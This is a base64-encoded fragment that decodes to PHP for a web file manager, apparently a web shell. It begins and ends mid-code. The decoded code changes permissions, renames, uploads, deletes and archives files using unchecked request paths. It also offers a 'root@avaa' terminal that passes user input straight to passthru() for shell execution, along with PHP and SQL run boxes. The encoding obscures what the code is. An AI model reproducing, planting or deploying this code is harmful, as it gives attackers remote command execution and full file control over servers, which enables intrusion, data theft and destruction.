Pz5cclxuXHQ8XC90ZD5cclxuPFwvdHI+XHJcbjx0cj5cclxuICAgIDx0ZCBjbGFzcz1cInJvdzFcIj5cclxuICAgICAgICA8Pz1mbV9ob21lKCk/PiA8YSBocmVmPVwiPD89JGJhY2tsaW5rPz5cIj48Pz1fXygnQmFjaycpPz48XC9hPlxyXG5cdDxcL3RkPlxyXG48XC90cj5cclxuPHRyPlxyXG4gICAgPHRkIGNsYXNzPVwicm93MVwiIGFsaWduPVwiY2VudGVyXCI+XHJcbiAgICAgICAgPGZvcm0gbmFtZT1cImZvcm0xXCIgbWV0aG9kPVwicG9zdFwiIGFjdGlvbj1cIjw/PSRlZGl0bGluaz8+XCI+XHJcbiAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPVwibmV3Y29udGVudFwiIGlkPVwibmV3Y29udGVudFwiIGNvbHM9XCI0NVwiIHJvd3M9XCIxNVwiIHN0eWxlPVwid2lkdGg6OTklXCIgc3BlbGxjaGVjaz1cImZhbHNlXCI+PD89aHRtbHNwZWNpYWxjaGFycygkb2xkY29udGVudCk/PjxcL3RleHRhcmVhPlxyXG4gICAgICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzYXZlXCIgdmFsdWU9XCI8Pz1fXygnU3VibWl0Jyk/PlwiPlxyXG4gICAgICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjYW5jZWxcIiB2YWx1ZT1cIjw/PV9fKCdDYW5jZWwnKT8+XCI+XHJcbiAgICAgICAgPFwvZm9ybT5cclxuICAgIDxcL3RkPlxyXG48XC90cj5cclxuPFwvdGFibGU+XHJcbjw/cGhwXHJcbmVjaG8gJGF1dGhbJ3NjcmlwdCddO1xyXG59IGVsc2VpZighZW1wdHkoJF9SRVFVRVNUWydyaWdodHMnXSkpe1xyXG5cdGlmKCFlbXB0eSgkX1JFUVVFU1RbJ3NhdmUnXSkpIHtcclxuXHQgICAgaWYoZm1fY2htb2QoJHBhdGggLiAkX1JFUVVFU1RbJ3JpZ2h0cyddLCBmbV9jb252ZXJ0X3JpZ2h0cygkX1JFUVVFU1RbJ3JpZ2h0c192YWwnXSksIEAkX1JFUVVFU1RbJ3JlY3Vyc2l2ZWx5J10pKVxyXG5cdFx0JG1zZyAuPSAoX18oJ0ZpbGUgdXBkYXRlZCcpKTsgXHJcblx0XHRlbHNlICRtc2cgLj0gKF9fKCdFcnJvciBvY2N1cnJlZCcpKTtcclxuXHR9XHJcblx0Y2xlYXJzdGF0Y2FjaGUoKTtcclxuICAgICRvbGRyaWdodHMgPSBmbV9yaWdodHNfc3RyaW5nKCRwYXRoIC4gJF9SRVFVRVNUWydyaWdodHMnXSwgdHJ1ZSk7XHJcbiAgICAkbGluayA9ICR1cmxfaW5jIC4gJyZyaWdodHM9JyAuICRfUkVRVUVTVFsncmlnaHRzJ10gLiAnJnBhdGg9JyAuICRwYXRoO1xyXG4gICAgJGJhY2tsaW5rID0gJHVybF9pbmMgLiAnJnBhdGg9JyAuICRwYXRoO1xyXG4/PlxyXG48dGFibGUgY2xhc3M9XCJ3aG9sZVwiPlxyXG48dHI+XHJcbiAgICA8dGg+PD89X18oJ0ZpbGUgbWFuYWdlcicpLicgLSAnLiRwYXRoPz48XC90aD5cclxuPFwvdHI+XHJcbjx0cj5cclxuICAgIDx0ZCBjbGFzcz1cInJvdzFcIj5cclxuICAgICAgICA8Pz0kbXNnPz5cclxuXHQ8XC90ZD5cclxuPFwvdHI+XHJcbjx0cj5cclxuICAgIDx0ZCBjbGFzcz1cInJvdzFcIj5cclxuICAgICAgICA8YSBocmVmPVwiPD89JGJhY2tsaW5rPz5cIj48Pz1fXygnQmFjaycpPz48XC9hPlxyXG5cdDxcL3RkPlxyXG48XC90cj5cclxuPHRyPlxyXG4gICAgPHRkIGNsYXNzPVwicm93MVwiIGFsaWduPVwiY2VudGVyXCI+XHJcbiAgICAgICAgPGZvcm0gbmFtZT1cImZvcm0xXCIgbWV0aG9kPVwicG9zdFwiIGFjdGlvbj1cIjw/PSRsaW5rPz5cIj5cclxuICAgICAgICAgICA8Pz1fXygnUmlnaHRzJykuJyAtICcuJF9SRVFVRVNUWydyaWdodHMnXT8+IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJyaWdodHNfdmFsXCIgdmFsdWU9XCI8Pz0kb2xkcmlnaHRzPz5cIj5cclxuICAgICAgICA8P3BocCBpZiAoaXNfZGlyKCRwYXRoLiRfUkVRVUVTVFsncmlnaHRzJ10pKSB7ID8+XHJcbiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwicmVjdXJzaXZlbHlcIiB2YWx1ZT1cIjFcIj4gPD89X18oJ1JlY3Vyc2l2ZWx5Jyk/PjxiclwvPlxyXG4gICAgICAgIDw/cGhwIH0gPz5cclxuICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic2F2ZVwiIHZhbHVlPVwiPD89X18oJ1N1Ym1pdCcpPz5cIj5cclxuICAgICAgICA8XC9mb3JtPlxyXG4gICAgPFwvdGQ+XHJcbjxcL3RyPlxyXG48XC90YWJsZT5cclxuPD9waHBcclxufSBlbHNlaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ3JlbmFtZSddKSYmJF9SRVFVRVNUWydyZW5hbWUnXTw+Jy4nKSB7XHJcblx0aWYoIWVtcHR5KCRfUkVRVUVTVFsnc2F2ZSddKSkge1xyXG5cdCAgICByZW5hbWUoJHBhdGggLiAkX1JFUVVFU1RbJ3JlbmFtZSddLCAkcGF0aCAuICRfUkVRVUVTVFsnbmV3bmFtZSddKTtcclxuXHRcdCRtc2cgLj0gKF9fKCdGaWxlIHVwZGF0ZWQnKSk7XHJcblx0XHQkX1JFUVVFU1RbJ3JlbmFtZSddID0gJF9SRVFVRVNUWyduZXduYW1lJ107XHJcblx0fVxyXG5cdGNsZWFyc3RhdGNhY2hlKCk7XHJcbiAgICAkbGluayA9ICR1cmxfaW5jIC4gJyZyZW5hbWU9JyAuICRfUkVRVUVTVFsncmVuYW1lJ10gLiAnJnBhdGg9JyAuICRwYXRoO1xyXG4gICAgJGJhY2tsaW5rID0gJHVybF9pbmMgLiAnJnBhdGg9JyAuICRwYXRoO1xyXG5cclxuPz5cclxuPHRhYmxlIGNsYXNzPVwid2hvbGVcIj5cclxuPHRyPlxyXG4gICAgPHRoPjw/PV9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy4kcGF0aD8+PFwvdGg+XHJcbjxcL3RyPlxyXG48dHI+XHJcbiAgICA8dGQgY2xhc3M9XCJyb3cxXCI+XHJcbiAgICAgICAgPD89JG1zZz8+XHJcblx0PFwvdGQ+XHJcbjxcL3RyPlxyXG48dHI+XHJcbiAgICA8dGQgY2xhc3M9XCJyb3cxXCI+XHJcbiAgICAgICAgPGEgaHJlZj1cIjw/PSRiYWNrbGluaz8+XCI+PD89X18oJ0JhY2snKT8+PFwvYT5cclxuXHQ8XC90ZD5cclxuPFwvdHI+XHJcbjx0cj5cclxuICAgIDx0ZCBjbGFzcz1cInJvdzFcIiBhbGlnbj1cImNlbnRlclwiPlxyXG4gICAgICAgIDxmb3JtIG5hbWU9XCJmb3JtMVwiIG1ldGhvZD1cInBvc3RcIiBhY3Rpb249XCI8Pz0kbGluaz8+XCI+XHJcbiAgICAgICAgICAgIDw/PV9fKCdSZW5hbWUnKT8+OiA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiPD89JF9SRVFVRVNUWydyZW5hbWUnXT8+XCI+PGJyXC8+XHJcbiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInNhdmVcIiB2YWx1ZT1cIjw/PV9fKCdTdWJtaXQnKT8+XCI+XHJcbiAgICAgICAgPFwvZm9ybT5cclxuICAgIDxcL3RkPlxyXG48XC90cj5cclxuPFwvdGFibGU+XHJcbjw/cGhwXHJcbn0gZWxzZSB7XHJcblwvXC9MZXQncyByb2NrIVxyXG4gICAgJG1zZyA9ICcnO1xyXG4gICAgaWYoIWVtcHR5KCRfRklMRVNbJ3VwbG9hZCddKSYmIWVtcHR5KCRmbV9jb25maWdbJ3VwbG9hZF9maWxlJ10pKSB7XHJcbiAgICAgICAgaWYoIWVtcHR5KCRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pKXtcclxuICAgICAgICAgICAgJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSA9IHN0cl9yZXBsYWNlKCclJywgJycsICRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pO1xyXG4gICAgICAgICAgICBpZighbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VwbG9hZCddWyd0bXBfbmFtZSddLCAkcGF0aCAuICRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pKXtcclxuICAgICAgICAgICAgICAgICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7XHJcbiAgICAgICAgICAgIH0gZWxzZSB7XHJcblx0XHRcdFx0JG1zZyAuPSBfXygnRmlsZXMgdXBsb2FkZWQnKS4nOiAnLiRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ107XHJcblx0XHRcdH1cclxuICAgICAgICB9XHJcbiAgICB9IGVsc2VpZighZW1wdHkoJF9SRVFVRVNUWydkZWxldGUnXSkmJiRfUkVRVUVTVFsnZGVsZXRlJ108PicuJykge1xyXG4gICAgICAgIGlmKCFmbV9kZWxfZmlsZXMoKCRwYXRoIC4gJF9SRVFVRVNUWydkZWxldGUnXSksIHRydWUpKSB7XHJcbiAgICAgICAgICAgICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7XHJcbiAgICAgICAgfSBlbHNlIHtcclxuXHRcdFx0JG1zZyAuPSBfXygnRGVsZXRlZCcpLicgJy4kX1JFUVVFU1RbJ2RlbGV0ZSddO1xyXG5cdFx0fVxyXG5cdH0gZWxzZWlmKCFlbXB0eSgkX1JFUVVFU1RbJ21rZGlyJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snbWFrZV9kaXJlY3RvcnknXSkpIHtcclxuICAgICAgICBpZighQG1rZGlyKCRwYXRoIC4gJF9SRVFVRVNUWydkaXJuYW1lJ10sMDc3NykpIHtcclxuICAgICAgICAgICAgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTtcclxuICAgICAgICB9IGVsc2Uge1xyXG5cdFx0XHQkbXNnIC49IF9fKCdDcmVhdGVkJykuJyAnLiRfUkVRVUVTVFsnZGlybmFtZSddO1xyXG5cdFx0fVxyXG4gICAgfSBlbHNlaWYoIWVtcHR5KCRfUkVRVUVTVFsnbWtmaWxlJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snbmV3X2ZpbGUnXSkpIHtcclxuICAgICAgICBpZighJGZwPUBmb3BlbigkcGF0aCAuICRfUkVRVUVTVFsnZmlsZW5hbWUnXSxcIndcIikpIHtcclxuICAgICAgICAgICAgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTtcclxuICAgICAgICB9IGVsc2Uge1xyXG5cdFx0XHRmY2xvc2UoJGZwKTtcclxuXHRcdFx0JG1zZyAuPSBfXygnQ3JlYXRlZCcpLicgJy4kX1JFUVVFU1RbJ2ZpbGVuYW1lJ107XHJcblx0XHR9XHJcbiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3ppcCddKSkge1xyXG5cdFx0JHNvdXJjZSA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3ppcCddKTtcclxuXHRcdCRkZXN0aW5hdGlvbiA9IGJhc2VuYW1lKCRzb3VyY2UpLicuemlwJztcclxuXHRcdHNldF90aW1lX2xpbWl0KDApO1xyXG5cdFx0JHBoYXIgPSBuZXcgUGhhckRhdGEoJGRlc3RpbmF0aW9uKTtcclxuXHRcdCRwaGFyLT5idWlsZEZyb21EaXJlY3RvcnkoJHNvdXJjZSk7XHJcblx0XHRpZiAoaXNfZmlsZSgkZGVzdGluYXRpb24pKVxyXG5cdFx0JG1zZyAuPSBfXygnVGFzaycpLicgXCInLl9fKCdBcmNoaXZpbmcnKS4nICcuJGRlc3RpbmF0aW9uLidcIiAnLl9fKCdkb25lJykuXHJcblx0XHQnLiZuYnNwOycuZm1fbGluaygnZG93bmxvYWQnLCRwYXRoLiRkZXN0aW5hdGlvbixfXygnRG93bmxvYWQnKSxfXygnRG93bmxvYWQnKS4nICcuICRkZXN0aW5hdGlvbilcclxuXHRcdC4nJm5ic3A7PGEgaHJlZj1cIicuJHVybF9pbmMuJyZkZWxldGU9Jy4kZGVzdGluYXRpb24uJyZwYXRoPScgLiAkcGF0aC4nXCIgdGl0bGU9XCInLl9fKCdEZWxldGUnKS4nICcuICRkZXN0aW5hdGlvbi4nXCIgPicuX18oJ0RlbGV0ZScpIC4gJzxcL2E+JztcclxuXHRcdGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4nOiAnLl9fKCdubyBmaWxlcycpO1xyXG5cdH0gZWxzZWlmIChpc3NldCgkX0dFVFsnZ3onXSkpIHtcclxuXHRcdCRzb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRfR0VUWydneiddKTtcclxuXHRcdCRhcmNoaXZlID0gJHNvdXJjZS4nLnRhcic7XHJcblx0XHQkZGVzdGluYXRpb24gPSBiYXNlbmFtZSgkc291cmNlKS4nLnRhcic7XHJcblx0XHRpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHVubGluaygkYXJjaGl2ZSk7XHJcblx0XHRpZiAoaXNfZmlsZSgkYXJjaGl2ZS4nLmd6JykpIHVubGluaygkYXJjaGl2ZS4nLmd6Jyk7XHJcblx0XHRjbGVhcnN0YXRjYWNoZSgpO1xyXG5cdFx0c2V0X3RpbWVfbGltaXQoMCk7XHJcblx0XHRcL1wvZGllKCk7XHJcblx0XHQkcGhhciA9IG5ldyBQaGFyRGF0YSgkZGVzdGluYXRpb24pO1xyXG5cdFx0JHBoYXItPmJ1aWxkRnJvbURpcmVjdG9yeSgkc291cmNlKTtcclxuXHRcdCRwaGFyLT5jb21wcmVzcyhQaGFyOjpHWiwnLnRhci5neicpO1xyXG5cdFx0dW5zZXQoJHBoYXIpO1xyXG5cdFx0aWYgKGlzX2ZpbGUoJGFyY2hpdmUpKSB7XHJcblx0XHRcdGlmIChpc19maWxlKCRhcmNoaXZlLicuZ3onKSkge1xyXG5cdFx0XHRcdHVubGluaygkYXJjaGl2ZSk7IFxyXG5cdFx0XHRcdCRkZXN0aW5hdGlvbiAuPSAnLmd6JztcclxuXHRcdFx0fVxyXG5cclxuXHRcdFx0JG1zZyAuPSBfXygnVGFzaycpLicgXCInLl9fKCdBcmNoaXZpbmcnKS4nICcuJGRlc3RpbmF0aW9uLidcIiAnLl9fKCdkb25lJykuXHJcblx0XHRcdCcuJm5ic3A7Jy5mbV9saW5rKCdkb3dubG9hZCcsJHBhdGguJGRlc3RpbmF0aW9uLF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4gJGRlc3RpbmF0aW9uKVxyXG5cdFx0XHQuJyZuYnNwOzxhIGhyZWY9XCInLiR1cmxfaW5jLicmZGVsZXRlPScuJGRlc3RpbmF0aW9uLicmcGF0aD0nIC4gJHBhdGguJ1wiIHRpdGxlPVwiJy5fXygnRGVsZXRlJykuJyAnLiRkZXN0aW5hdGlvbi4nXCIgPicuX18oJ0RlbGV0ZScpLic8XC9hPic7XHJcblx0XHR9IGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4nOiAnLl9fKCdubyBmaWxlcycpO1xyXG5cdH0gZWxzZWlmIChpc3NldCgkX0dFVFsnZGVjb21wcmVzcyddKSkge1xyXG5cdFx0XC9cLyAkc291cmNlID0gYmFzZTY0X2RlY29kZSgkX0dFVFsnZGVjb21wcmVzcyddKTtcclxuXHRcdFwvXC8gJGRlc3RpbmF0aW9uID0gYmFzZW5hbWUoJHNvdXJjZSk7XHJcblx0XHRcL1wvICRleHQgPSBlbmQoZXhwbG9kZShcIi5cIiwgJGRlc3RpbmF0aW9uKSk7XHJcblx0XHRcL1wvIGlmICgkZXh0PT0nemlwJyBPUiAkZXh0PT0nZ3onKSB7XHJcblx0XHRcdFwvXC8gJHBoYXIgPSBuZXcgUGhhckRhdGEoJHNvdXJjZSk7XHJcblx0XHRcdFwvXC8gJHBoYXItPmRlY29tcHJlc3MoKTtcclxuXHRcdFx0XC9cLyAkYmFzZV9maWxlID0gc3RyX3JlcGxhY2UoJy4nLiRleHQsJycsJGRlc3RpbmF0aW9uKTtcclxuXHRcdFx0XC9cLyAkZXh0ID0gZW5kKGV4cGxvZGUoXCIuXCIsICRiYXNlX2ZpbGUpKTtcclxuXHRcdFx0XC9cLyBpZiAoJGV4dD09J3Rhcicpe1xyXG5cdFx0XHRcdFwvXC8gJHBoYXIgPSBuZXcgUGhhckRhdGEoJGJhc2VfZmlsZSk7XHJcblx0XHRcdFx0XC9cLyAkcGhhci0+ZXh0cmFjdFRvKGRpcigkc291cmNlKSk7XHJcblx0XHRcdFwvXC8gfVxyXG5cdFx0XC9cLyB9IFxyXG5cdFx0XC9cLyAkbXNnIC49IF9fKCdUYXNrJykuJyBcIicuX18oJ0RlY29tcHJlc3MnKS4nICcuJHNvdXJjZS4nXCIgJy5fXygnZG9uZScpO1xyXG5cdH0gZWxzZWlmIChpc3NldCgkX0dFVFsnZ3pmaWxlJ10pKSB7XHJcblx0XHQkc291cmNlID0gYmFzZTY0X2RlY29kZSgkX0dFVFsnZ3pmaWxlJ10pO1xyXG5cdFx0JGFyY2hpdmUgPSAkc291cmNlLicudGFyJztcclxuXHRcdCRkZXN0aW5hdGlvbiA9IGJhc2VuYW1lKCRzb3VyY2UpLicudGFyJztcclxuXHRcdGlmIChpc19maWxlKCRhcmNoaXZlKSkgdW5saW5rKCRhcmNoaXZlKTtcclxuXHRcdGlmIChpc19maWxlKCRhcmNoaXZlLicuZ3onKSkgdW5saW5rKCRhcmNoaXZlLicuZ3onKTtcclxuXHRcdHNldF90aW1lX2xpbWl0KDApO1xyXG5cdFx0XC9cL2VjaG8gJGRlc3RpbmF0aW9uO1xyXG5cdFx0JGV4dF9hcnIgPSBleHBsb2RlKCcuJyxiYXNlbmFtZSgkc291cmNlKSk7XHJcblx0XHRpZiAoaXNzZXQoJGV4dF9hcnJbMV0pKSB7XHJcblx0XHRcdHVuc2V0KCRleHRfYXJyWzBdKTtcclxuXHRcdFx0JGV4dD1pbXBsb2RlKCcuJywkZXh0X2Fycik7XHJcblx0XHR9IFxyXG5cdFx0JHBoYXIgPSBuZXcgUGhhckRhdGEoJGRlc3RpbmF0aW9uKTtcclxuXHRcdCRwaGFyLT5hZGRGaWxlKCRzb3VyY2UpO1xyXG5cdFx0JHBoYXItPmNvbXByZXNzKFBoYXI6OkdaLCRleHQuJy50YXIuZ3onKTtcclxuXHRcdHVuc2V0KCRwaGFyKTtcclxuXHRcdGlmIChpc19maWxlKCRhcmNoaXZlKSkge1xyXG5cdFx0XHRpZiAoaXNfZmlsZSgkYXJjaGl2ZS4nLmd6JykpIHtcclxuXHRcdFx0XHR1bmxpbmsoJGFyY2hpdmUpOyBcclxuXHRcdFx0XHQkZGVzdGluYXRpb24gLj0gJy5neic7XHJcblx0XHRcdH1cclxuXHRcdFx0JG1zZyAuPSBfXygnVGFzaycpLicgXCInLl9fKCdBcmNoaXZpbmcnKS4nICcuJGRlc3RpbmF0aW9uLidcIiAnLl9fKCdkb25lJykuXHJcblx0XHRcdCcuJm5ic3A7Jy5mbV9saW5rKCdkb3dubG9hZCcsJHBhdGguJGRlc3RpbmF0aW9uLF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4gJGRlc3RpbmF0aW9uKVxyXG5cdFx0XHQuJyZuYnNwOzxhIGhyZWY9XCInLiR1cmxfaW5jLicmZGVsZXRlPScuJGRlc3RpbmF0aW9uLicmcGF0aD0nIC4gJHBhdGguJ1wiIHRpdGxlPVwiJy5fXygnRGVsZXRlJykuJyAnLiRkZXN0aW5hdGlvbi4nXCIgPicuX18oJ0RlbGV0ZScpLic8XC9hPic7XHJcblx0XHR9IGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4nOiAnLl9fKCdubyBmaWxlcycpO1xyXG5cdH1cclxuPz5cclxuPHRhYmxlIGNsYXNzPVwid2hvbGVcIiBpZD1cImhlYWRlcl90YWJsZVwiID5cclxuPHRyPlxyXG4gICAgPHRoIGNvbHNwYW49XCIyXCI+PD89X18oJ0ZpbGUgbWFuYWdlcicpPz48Pz0oIWVtcHR5KCRwYXRoKT8nIC0gJy4kcGF0aDonJyk/PjxcL3RoPlxyXG48XC90cj5cclxuPD9waHAgaWYoIWVtcHR5KCRtc2cpKXsgPz5cclxuPHRyPlxyXG5cdDx0ZCBjb2xzcGFuPVwiMlwiIGNsYXNzPVwicm93MlwiPjw/PSRtc2c/PjxcL3RkPlxyXG48XC90cj5cclxuPD9waHAgfSA/PlxyXG48dHI+XHJcbiAgICA8dGQgY2xhc3M9XCJyb3cyXCI+XHJcblx0XHQ8dGFibGU+XHJcblx0XHRcdDx0cj5cclxuXHRcdFx0PHRkPlxyXG5cdFx0XHRcdDw/PWZtX2hvbWUoKT8+XHJcblx0XHRcdDxcL3RkPlxyXG5cdFx0XHQ8dGQ+XHJcbiAgICA8P3BocFxyXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndGVybWluYWwnXSkpIHtcclxuICAgICAgICBcL1wvIEdldCB0aGUgY29tbWFuZCBhbmQgZGlyZWN0b3J5IGZyb20gdGhlIGZvcm1cclxuICAgICAgICAkY21kID0gJF9QT1NUWyd0ZXJtaW5hbC10ZXh0J10gLiBcIiAyPiYxXCI7XHJcbiAgICAgICAgJGN3ZCA9ICRfUE9TVFsncGF0aCddOyBcL1wvIFVzZSB0aGUgaGlkZGVuICdwYXRoJyBpbnB1dCBhcyB0aGUgZGlyZWN0b3J5XHJcblxyXG4gICAgICAgIFwvXC8gVmFsaWRhdGUgYW5kIHNldCB0aGUgY3VycmVudCB3b3JraW5nIGRpcmVjdG9yeVxyXG4gICAgICAgIGlmICghZW1wdHkoJGN3ZCkgJiYgaXNfZGlyKCRjd2QpKSB7XHJcbiAgICAgICAgICAgIGNoZGlyKCRjd2QpOyBcL1wvIENoYW5nZSB0byB0aGUgc3BlY2lmaWVkIGRpcmVjdG9yeVxyXG4gICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgIGVjaG8gXCI8c3Ryb25nPkVycm9yOjxcL3N0cm9uZz4gSW52YWxpZCBkaXJlY3Rvcnkgc3BlY2lmaWVkLjxicj5cIjtcclxuICAgICAgICB9XHJcblxyXG4gICAgICAgIFwvXC8gRXhlY3V0ZSB0aGUgY29tbWFuZCBhbmQgZGlzcGxheSBvdXRwdXQgdXNpbmcgcGFzc3RocnVcclxuICAgICAgICBlY2hvIFwiPHN0cm9uZz5yb290QGF2YWE8XC9zdHJvbmc+PGJyPjxwcmU+XCI7XHJcbiAgICAgICAgcGFzc3RocnUoJGNtZCk7ICBcL1wvIHBhc3N0aHJ1IHNlbmRzIHJhdyBvdXRwdXQgZGlyZWN0bHkgdG8gdGhlIGJyb3dzZXJcclxuICAgICAgICBlY2hvIFwiPFwvcHJlPlwiO1xyXG4gICAgfVxyXG4gICAgPz5cclxuICAgIDxmb3JtIG1ldGhvZD1cInBvc3RcIiBhY3Rpb249XCI8Pz0kdXJsX2luYz8+XCI+XHJcbiAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInRlcm1pbmFsLXRleHRcIiBzaXplPVwiMjBcIiBwbGFjZWhvbGRlcj1cInJvb3RAYXZhYVwiIHJlcXVpcmVkPlxyXG4gICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIjw/PSRwYXRoPz5cIiBcLz5cclxuICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJ0ZXJtaW5hbFwiIHZhbHVlPVwiRXhlY3V0ZVwiPlxyXG4gICAgPFwvZm9ybT5cclxuPFwvdGQ+XHJcblx0XHRcdDx0ZD5cclxuXHRcdFx0PD9waHAgaWYoIWVtcHR5KCRmbV9jb25maWdbJ21ha2VfZGlyZWN0b3J5J10pKSB7ID8+XHJcblx0XHRcdFx0PGZvcm0gbWV0aG9kPVwicG9zdFwiIGFjdGlvbj1cIjw/PSR1cmxfaW5jPz5cIj5cclxuXHRcdFx0XHQ8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCI8Pz0kcGF0aD8+XCIgXC8+XHJcblx0XHRcdFx0PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImRpcm5hbWVcIiBzaXplPVwiMTVcIj5cclxuXHRcdFx0XHQ8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJta2RpclwiIHZhbHVlPVwiPD89X18oJ01ha2UgZGlyZWN0b3J5Jyk/PlwiPlxyXG5cdFx0XHRcdDxcL2Zvcm0+XHJcblx0XHRcdDw/cGhwIH0gPz5cclxuXHRcdFx0PFwvdGQ+XHJcblx0XHRcdDx0ZD5cclxuXHRcdFx0PD9waHAgaWYoIWVtcHR5KCRmbV9jb25maWdbJ25ld19maWxlJ10pKSB7ID8+XHJcblx0XHRcdFx0PGZvcm0gbWV0aG9kPVwicG9zdFwiIGFjdGlvbj1cIjw/PSR1cmxfaW5jPz5cIj5cclxuXHRcdFx0XHQ8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCI8Pz0kcGF0aD8+XCIgXC8+XHJcblx0XHRcdFx0PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZpbGVuYW1lXCIgc2l6ZT1cIjE1XCI+XHJcblx0XHRcdFx0PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwibWtmaWxlXCIgdmFsdWU9XCI8Pz1fXygnTmV3IGZpbGUnKT8+XCI+XHJcblx0XHRcdFx0PFwvZm9ybT5cclxuXHRcdFx0PD9waHAgfSA/PlxyXG5cdFx0XHQ8XC90ZD5cclxuXHRcdFx0PHRkPlxyXG5cdFx0XHQ8Pz1mbV9ydW5faW5wdXQoJ3BocCcpPz5cclxuXHRcdFx0PFwvdGQ+XHJcblx0XHRcdDx0ZD5cclxuXHRcdFx0PD89Zm1fcnVuX2lucHV0KCdzcWwnKT8+XHJcblx0XHRcdDxcL3RkPlxyXG5cdFx0XHQ8XC90cj5cclxuXHRcdDxcL3RhYmxlPlxyXG4gICAgPFwvdGQ+XHJcbiAgICA8dGQgY2xhc3M9XCJyb3czXCI+XHJcblx0XHQ8dGFibGU+XHJcblx0XHQ8dHI+XHJcblx0XHQ8dGQ+XHJcblx0XHQ8P3BocCBpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3VwbG9hZF9maWxlJ10pKSB7ID8+XHJcblx0XHRcdDxmb3JtIG5hbWU9XCJmb3JtMVwiIG1ldGhvZD1cInBvc3RcIiBhY3Rpb249XCI8Pz0kdXJsX2luYz8+XCIgZW5jdHlwZT1cIm11bHRpcGFydFwvZm9ybS1kYXRhXCI+XHJcblx0XHRcdDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIjw/PSRwYXRoPz5cIiBcLz5cclxuXHRcdFx0PGlucHV0IHR5cGU9XCJmaWxlXCIgbmFtZT1cInVwbG9hZFwiIGlkPVwidXBsb2FkX2hpZGRlblwiIHN0eWxlPVwicG9zaXRpb246IGFic29sdXRlOyBkaXNwbGF5OiBibG9jazsgb3ZlcmZsb3c6IGhpZGRlbjsgd2lkdGg6IDA7IGhlaWdodDogMDsgYm9yZGVyOiAwOyBwYWRkaW5nOiAwO1wiIG9uY2hhbmdlPVwiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VwbG9hZF92aXNpYmxlJykudmFsdWUgPSB0aGlzLnZhbHVlO1wiIFwvPlxyXG5cdFx0XHQ8aW5wdXQgdHlwZT1cInRleHRcIiByZWFkb25seT1cIjFcIiBpZD1cInVwbG9hZF92aXNpYmxlXCIgcGxhY2Vob2xkZXI9XCI8Pz1fXygnU2VsZWN0IHRoZSBmaWxlJyk/PlwiIHN0eWxlPVwiY3Vyc29yOiBwb2ludGVyO1wiIG9uY2xpY2s9XCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXBsb2FkX2hpZGRlbicpLmNsaWNrKCk7XCIgXC8+XHJcblx0XHRcdDxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInRlc3RcIiB2YWx1ZT1cIjw/PV9fKCdVcGxvYWQnKT8+XCIgXC8+XHJcblx0XHRcdDxcL2Zvcm0+XHJcblx0XHQ8P3BocCB9ID8+XHJcblx0XHQ8XC90ZD5cclxuXHRcdDx0ZD5cclxuXHRcdDw/cGhwIGlmICgkYXV0aFsnYXV0aG9yaXplJ10pIHsgPz5cclxuXHRcdFx0PGZvcm0gYWN0aW9uPVwiXCIgbWV0aG9kPVwicG9zdFwiPiZuYnNwOyZuYnNwOyZuYnNwO1xyXG5cdFx0XHQ8aW5wdXQgbmFtZT1cInF1aXRcIiB0eXBlPVwiaGlkZGVuXCIgdmFsdWU9XCIxXCI+XHJcblx0XHRcdDw/PV9fKCdIZWx